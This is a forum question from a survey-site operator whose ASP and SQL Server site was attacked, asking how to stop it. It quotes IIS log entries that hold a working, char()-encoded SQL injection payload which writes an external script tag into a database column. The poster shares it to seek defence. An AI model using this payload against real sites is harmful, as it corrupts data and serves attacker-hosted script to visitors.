title: Attack on ASP site that uses a SQL server database
body: <p>We have a survey site that was apparently attacked. The symptoms are identical to what was described on the following page on this site:
  <a href="https://stackoverflow.com/questions/3775964/xss-attack-on-the-asp-net-website">XSS Attack on the ASP.NET Website</a>.</p>
  
  <p>I found multiple entries in our IIS logs that included the malicious code:</p>
  
  <blockquote>
    <p>&lt; / title> &lt; script src = http : // google-stats49.info/ur.php >. </p>
  </blockquote>
  
  <p>Here is an example of the value of the cs-uri-query field for one of the IIS log entries.</p>
  
  <blockquote>
    <p>surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--</p>
  </blockquote>
  
  <p>I don't understand how the above code works but apparently this is what is being sent in a query string to corrupt columns in our database tables.  We have shut down our site for the time being. We can remove the scripts from the database but that doesn't prevent it from being corrupted again when we bring the site back online.  </p>
  
  <p>Does anyone have any suggestions on how to prevent this from happening?  </p>